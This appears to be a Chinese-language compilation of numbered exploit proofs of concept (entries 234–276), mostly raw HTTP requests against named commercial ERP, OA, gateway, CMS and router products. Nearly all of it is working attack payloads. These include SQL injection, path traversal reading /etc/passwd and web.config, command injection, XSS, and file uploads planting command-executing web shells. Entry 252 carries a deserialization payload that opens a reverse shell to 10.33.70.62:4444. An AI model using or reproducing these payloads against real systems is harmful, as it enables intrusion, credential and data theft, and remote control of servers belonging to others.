POST /nssys/common/Upload.aspx?Action=DNPageAjaxPostBack HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryLkkAXATqVKBHZ8zk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""__VIEWSTATE""

/wEPDwUJOTc0NzkxMzQ1D2QWAgIDDxYGHhdJc0JlZm9yZU9wZXJhdGVTYXZlRGF0YWgeBmlzZ3V
pZAUBMR4OY2hlY2tmb3Jtc3RhdGUFATBkZHwobq1hNj9MTgjOtrIn/0gbCdhD
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""__VIEWSTATEGENERATOR""

573D6CFB
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""upfile_Input""
```

```
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""upfile_upload""; filename=""1""
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
    <title>ASP.NET Web Forms Example</title>
</head>
<body>
    <%@ Page Language=""C#"" %>
    <% Response.Write(""hello,world""); %>
</body>
</html>
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""upfilename""

2.aspx
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name=""dnpostmethodname""

uploadfile
------WebKitFormBoundaryLkkAXATqVKBHZ8zk--
```

234.哲霖 M9 机械行业 ERP 管理软件存在任意文件读取

```
GET /Basics/DownloadInpFile?filePath=C:\windows\win.ini HTTP/1.1
Host: {{Hostname}}
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
```

235.同享 TXEHR V15 人力管理管理平台 SFZService.asmx 存在 SQL 注入漏洞

```
POST /Service/SFZService.asmx?_ZQA_ID={ZQA_ID} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/xml;charset=UTF-8
Cookie: ASP.NET_SessionId=1mta3h55cadxjiezqnzrzu45
SOAPAction: http://tempuri.org/GetEmployeeBySFZ

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
    <soapenv:Header/>
    <soapenv:Body>
        <tem:GetEmployeeBySFZ>
            <!--type: string-->
            <tem:strSFZ>' WAITFOR DELAY '0:0:5'-- RDWM</tem:strSFZ>
        </tem:GetEmployeeBySFZ>
    </soapenv:Body>
</soapenv:Envelope>
```

236.全程云 OA/UploadFile 任意文件上传

```
POST /OA/api/2.0/Common/AttachFile/UploadFile HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: ASP.NET_SessionId=4alvrsk3kjf1icifm3naiiai
Content-Type: multipart/form-data; boundary=----sajhdjqwjejqwbejhqwbjebqwhje

------sajhdjqwjejqwbejhqwbjebqwhje
Content-Disposition: form-data; name="upload"; filename="hash.Asp"
Content-Type: image/png

<%execute(request("cmd"))%>
```

237.瑞斯康达多业务智能网关 list_ip_network.php 存在未授权命令注入漏洞

```
POST
/vpn/list_ip_network.php?template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo27.php%60 HTTP/1.1
Host: {{hostname}}
Connection: keep-alive
sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

Nradius_submit=true
```

238.东胜物流软件接口存在 SQL 注入漏洞

```
GET
/Shipping/CompanysAccountGridSource.aspx?LINKID=-1%27%20and%201=@@version%20--&read=exist HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
```

239.微商城系统 goods.php 存在 SQL 注入漏洞

```
GET
/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(IFNULL(CAST(MD5(1)+AS+NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
```

240.瑞斯康达多业务智能网关 list_service_manage.php 存在远程命令执行漏洞

```
POST
/vpn/list_service_manage.php?template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo29.php%60 HTTP/1.1
Host: {{Hostname}}
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Nradius_submit=true
```

241.超易-企业管理系统-SQL 注入

```
POST /ajax/Login.ashx?Date=%271721821198459%27 HTTP/1.1
Host: {{Hostname}}
Content-Length: 92
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=admin'' &password=admin123&loginguid=&logintype=pc
```

242.金和 OA SignUpload SQL 注入漏洞

```
POST
/C6/Jhsoft.Web.ask/SignUpload.ashx?token=1%3BWAITFOR+DELAY+%270%3A0%3A%207%27+--%20and%201=1_123_123&filename=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
```

243.金和 OA DBModules.aspx SQL 注入

```
GET /C6/JHSoft.Web.WorkFlat/DBModules.aspx/?interfaceID=123;WAITFOR+DELAY+'0:0:7'--
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/115.0.5790.171 Safari/537.36
```

244.用友 U8CRM timeoutlogin 接口存在未授权访问

```
GET /background/timeoutlogin.php?ID=1 HTTP/1.1
Host: {{Hostname}}
```

245.泛微 ecology 系统接口 BlogService 存在 SQL 注入漏洞

```
POST /services/BlogService HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101
Firefox/106.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: {{Hostname}}
Content-Length: 493

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.blog.weaver.com.cn">
    <soapenv:Header/>
    <soapenv:Body>
        <web:writeBlogReadFlag>
            <web:string>1</web:string>
            <web:string>SELECT version()</web:string>
            <web:string></web:string>
        </web:writeBlogReadFlag>
```

```
    </soapenv:Body>
</soapenv:Envelope>
```

246.Oracle JD Edwards EnterpriseOne Tools 未授权获取管理员密码漏洞

```
GET /manage/fileDownloader?sec=1 HTTP/1.1
Host: {{Hostname}}
```

247.华夏 ERPV3.3 存在信息泄漏漏洞

```
GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

248.南京星远图科技 SparkShop 存在任意文件上传漏洞 (CVE-2024-6730)

```
POST /api/Common/uploadFile HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Length: 178

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"

<?php echo"hello world";?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
```

249.SeaCMS 海洋影视管理系统 index.php 存在 SQL 注入漏洞 (CVE-2024-39027)

```
POST /js/player/dmplayer/dmku/index.php?ac=edit HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

cid=(select(1)from(select(sleep(6)))x)&text=1&color=1
```

250.微商城系统 api.php 存在文件上传漏洞

```
POST /api/api.php?mod=upload&type=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbvpmown

------WebKitFormBoundaryaKljzbg49Mq4ggLz
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryaKljzbg49Mq4ggLz--
```

251.汇智 ERP Upload.aspx 文件上传漏洞

```
POST /nssys/common/Upload.aspx?Action=DNPageAjaxPostBack HTTP/1.1
Host: 127.0.0.1:8031
Content-Length: 1033
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
```

```
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryLkkAXATqVKBHZ8zk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=wxybf2dxluu5sjlb2vxdyrsa
Connection: close

------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJOTc0NzkxMzQ1D2QWAgIDDxYGHhdJc0JlZm9yZU9wZXJhdGVTYXZlRGF0YWgeBmlzZ3V
pZAUBMR4OY2hlY2tmb3Jtc3RhdGUFATBkZHwobq1hNj9MTgjOtrIn/0gbCdhD
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

573D6CFB
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_Input"



------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_upload"; filename="1"
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
    <title>ASP.NET Web Forms Example</title>
</head>
<body>
    <%@ Page Language="C#" %>
    <% Response.Write("hello,world"); %>
</body>
</html>
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfilename"

2.aspx
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="dnpostmethodname"
```

```
uploadfile
------WebKitFormBoundaryLkkAXATqVKBHZ8zk--
```

252.nginxWebUI solon 框架前台命令执行漏洞

（/adminPage/login/getAuth）

漏洞介绍
该漏洞源于 Solon 框架中的前台远程代码执行漏洞。攻击者通过利用 Solon 框架的缺陷，构造特殊的 JSON 数据包到目标服务器的 /adminPage/login/getAuth 接口，触发远程代码执行。

影响产品：
- NginxWebUI <= 4.2.3（截至 2024 年 8 月 25 日的最新版本），该产品使用 solon 框架版本是：solon == 2.4.5
- 利用限制：Linux 环境 + JDK 环境（已在 JDK8u92 下复现成功，默认 docker 安装由于是使用 JRE 执行，不受影响）。

漏洞影响版本：NginxWebUI <= 4.2.3（截至 2024 年 8 月 25 日的最新版本），不过该漏洞利用存在限制：Linux 环境 + JDK 环境，默认 Docker 安装的不受影响。

```
POST /adminPage/login/getAuth HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1723194084;
SOLONID=2bde8c5832d048d6859148e634a2021b
Content-Type: application/json;charset=UTF-8

{
  "name": {
  "@type": "sun.print.UnixPrintServiceLookup",
  "lpcFirstCom": [
  ";sh -i >& /dev/tcp/10.33.70.62/4444 0>&1;",
  ";sh -i >& /dev/tcp/10.33.70.62/4444 0>&1;"
  ]
```

```
  }
}
```

253.天问物业 ERP 系统 ReportDownLoad.aspx 任意文件读取

```
GET /HM/M_Main/Club/ReportDownLoad.aspx?AdjunctFile=../../web.config HTTP/1.1
Host: {{Hostname}}
```

254.中成科信票务管理系统 UploadHandler.ashx 任意文件上传漏洞

```
POST /WeChat/ashx/UploadHandler.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

------WebKitFormBoundary7yyQ5XLHOn6WZ6MT
Content-Disposition: form-data; name="file"; filename="1.asp"
Content-Type: image/jpeg

<%execute(request("cmd"))%>
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT--
```

255.用友 U8 Cloud MeasureQResultAction 接口存在 SQL 注入漏洞

```
GET
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.Measu
reQResultAction&method=execute&selectQueryCondition=1%27);WAITFOR+DELAY+%270:0:5%2
7-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
```

256.泛微 ecology9 系统接口 ModeDateService 存在 SQL 漏洞

```
POST /services/ModeDateService HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:mod="http://localhost/services/ModeDateService">
  <soapenv:Header/>
  <soapenv:Body>
  <mod:getAllModeDataCount>
  <mod:in0>1</mod:in0>
  <mod:in1>1</mod:in1>
  <mod:in2>1=1 WAITFOR DELAY '0:0:5'</mod:in2>
  <mod:in3>1</mod:in3>
  </mod:getAllModeDataCount>
  </soapenv:Body>
</soapenv:Envelope>
```

257.锐明技术 Crocus 系统 Common.do 存在 SQL 注入漏洞

```
GET
/Common.do?Action=QueryVehicle&field=(select*from(select%0Asleep(5))x)&guid=1718800646
308&value= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Cookie:
Saffron.U=VUlEPTEmVU49c3RyZWFtYXgyMDAyMDgxOCZHSUQ9MTcyNDM3NzE5NjIxMS43MDE0
NTImUklEPTEmTT1CTWFwJklOUz0x
Token: c3RyZWFtYXgyMDAyMDgxODoxNzI0Mzc3MTk2MjExLjcwMTQ=
```

258.用友畅捷通 CRM 接口 newleadset.php 存在 SQL 注入漏洞

```
GET
/lead/newleadset.php?new_id=1&gblOrgID=1+AND+(SELECT+5244+FROM+(SELECT(SLEEP(2)))HAjH)--+-&DontCheckLogin=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
3. 停车场后台管理系统 GetPasswayData 存在 SQL 注入漏洞
POST /LaneMonitor/GetPasswayData HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded

SentryHost_No=1';SELECT+SLEEP(5)#
```

259.锐明技术 Crocus 系统 Query SQL 注入漏洞

```
POST /DeviceState.do?Action=Query HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Cookie:
Saffron.U=VUlEPTEmVU49c3RyZWFtYXgyMDAyMDgxOCZHSUQ9MTcyNDM3NzE5NjIxMS43MDE0NTImUklEPTEmTT1CTWFwJklOUz0x
Token: c3RyZWFtYXgyMDAyMDgxODoxNzI0Mzc3MTk2MjExLjcwMTQ=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

VehicleId=&GroupId=&Field=&Value=&PageSize=20&PageIndex=0&orderType=asc&orderField=(select*from(select%0asleep(5))a)
```

260.杭州三汇网关 down.php 存在任意文件读取漏洞

```
POST /down.php HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
```

```
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrjG56nHVKDDdMNQK

------WebKitFormBoundaryrjG56nHVKDDdMNQK
Content-Disposition: form-data; name="downfile"

/etc/passwd
------WebKitFormBoundaryrjG56nHVKDDdMNQK
Content-Disposition: form-data; name="down"

下载
------WebKitFormBoundaryrjG56nHVKDDdMNQK
Content-Disposition: form-data; name="runinfoupdate"
```

261.用友-U8C-Cloud approveservlet sql 注入

```
POST /service/approveservlet?mssql HTTP/1.1
Host: {{Hostname}}
Accept-Encoding:gzip
Connection:close
Content-Type:application/x-www-form-urlencoded
User-Agent:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/35.0.2117.157 Safari/537.36

BILLID=123%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2
CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C
NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CN
ULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
LL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28118%29%2BCHAR%28107%29%2BC
HAR%28113%29%2BISNULL%28CAST%28111%2A111%20AS%20NVARCHAR%284000%29%29%2
CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCH
AR%28118%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2
CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C
NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CN
ULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
LL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL
L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20ZPzR&BILLTYPE=4331&U
SERID=3&RESULT=4&DATASOURCE=U8cloud
```

262.世邦通信 SPON IP 网络对讲广播系统 busyscreenshotpush.php 任意文件上传漏洞

```
POST /php/busyscreenshotpush.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)
Content-Length: 215
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Connection: close

jsondata[caller]=1&jsondata[callee]=../../../../../ICPAS/Wnmp/WWW/php/&jsondata[imagename
]=1_2_test.php&jsondata[imagecontent]=PD9waHAgZWNobyAnT3RFWHkwSVJncExWMzkxdzNS
Uzd5OVR5U1BGM1dVeDAnO3VubGluayhfX0ZJTEVfXyk7Pz4=
```

263.小学智慧校园信息管理系统 Upload 文件上传漏洞

```
POST /PSE/Upload HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/55.0.2919.83 Safari/537.36
Content-Type: multipart/form-data; boundary=230982304982309
Connection: close
Content-Length: 239

--230982304982309
Content-Disposition: form-data; name="file"; filename="Hello.aspx"
Content-Type: image/jpg

<%@Page
Language="C#"%><%Response.Write("HelloWorldTest");System.IO.File.Delete(Request.PhysicalPa
th);%>
--230982304982309--
```

264.用友 FE 协同平台 uploadFile.jsp 存在文件上传漏洞

```
POST
/common/uploadFile.jsp?action=save&savePath=/images/upload/&fileName=123.jpg&title1=%C9%CF%B4%AB%CE%C4%BC%FE&title2=%D1%A1%D4%F1%CE%C4%BC%FE&allowsize=null&extName=.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylBU670lIdrGgVSWG

------WebKitFormBoundarylBU670lIdrGgVSWG
Content-Disposition: form-data; name="accessory"; filename="123.jsp"
Content-Type: application/octet-stream

<%
	Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
------WebKitFormBoundarylBU670lIdrGgVSWG--
```

265.通天星 CMSV6 车载定位监控平台 getAlarmAppealByGuid SQL 注入漏洞

```
POST /alarm_appeal/getAlarmAppealByGuid;downloadLogger.action HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

guid=1') UNION ALL SELECT NULL,CONCAT(0x71766a7a71,0x6270784e707941665248534e6d7a654e694746796a665976545656574726970524c664a7068735741,0x7176626271),NULL-- -
```

266.东胜物流 OPERATORCODEAdapter SQL 注入漏洞

```
GET
/FeeCodes/OPERATORCODEAdapter.aspx?SHOWNAME=1&CUSTOMERNAME=-1%27%29%3BWAITFOR+DELAY+%270%3A0%3A15%27-- HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
```

267.东胜物流 UploadFile 文件上传漏洞

```
POST /MvcContainer/MsOpCtnBsCard/UploadFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="type"

1
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="LoadFile"; filename="1.aspx"
Content-Type:

<%@ Page Language ="Jscript"%> <%eval(Request.Item ["pass"],"unsafe");%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
```

268.汇智 ERP 系统 nslicensemng.aspx 存在 XSS 漏洞

```
GET /nssys/home/nslicensemng.aspx?ex=<script>alert(1)</script> HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
```

269.维盟 WayOS 智能路由管理系统存在 XSS 漏洞

```
GET /<script>alert(1)</script> HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
```

270.FastBee 物联网系统任意文件下载漏洞

```
GET /prod-api/iot/tool/download?fileName=/../../../../../../../../../etc/hosts HTTP/1.1
Host: {{Hostname}}
```

271.众诚网上订单系统 o_sa_order.ashx 存在 SQL 注入漏洞

```
POST /ajax/o_sa_order.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Content-Type: application/x-www-form-urlencoded

type=login&user_id=admin') UNION ALL SELECT NULL,NULL,NULL,'aaaa',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oXVA&user_pwd=1111111
```

272.SPIP porte_plume 插件存在任意 PHP 执行漏洞(CVE-2024-7954)

```
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Content-Type: application/x-www-form-urlencoded

data=AA_[<img2->URL`<?php system("id");?>`]_BB
```

273.TurboMeeting SQL 注入漏洞(CVE-2024-38289)

```
POST /as/wapi/vmp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

meeting_id=1'/**/OR/**/1=1/**/UNION/**/select/**/password/**/from/**/employee/**/where/**/email='admin'/**/AND/**/substr(password,2,1)='b'/**
```

274.中兴 ZSR V2 路由器文件读取漏洞

```
GET /css//../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
```

275.福建科立讯通信指挥调度平台多个接口存在漏洞

event/uploadfile.php 接口任意文件上传漏洞

```
POST /api/client/event/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7

------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"

1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"

1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="2.php"
Content-Type: image/png

<?php echo md5('1'); unlink(__FILE__); ?>
------WebKitFormBoundary25qW4eG1Jt50iyf7--
```

276.福建科立讯通信指挥调度平台多个接口存在漏洞

task/uploadfile.php 接口任意文件上传漏洞

```
POST /api/client/task/uploadfile.php HTTP/1.1
Host: {{Hostname}}
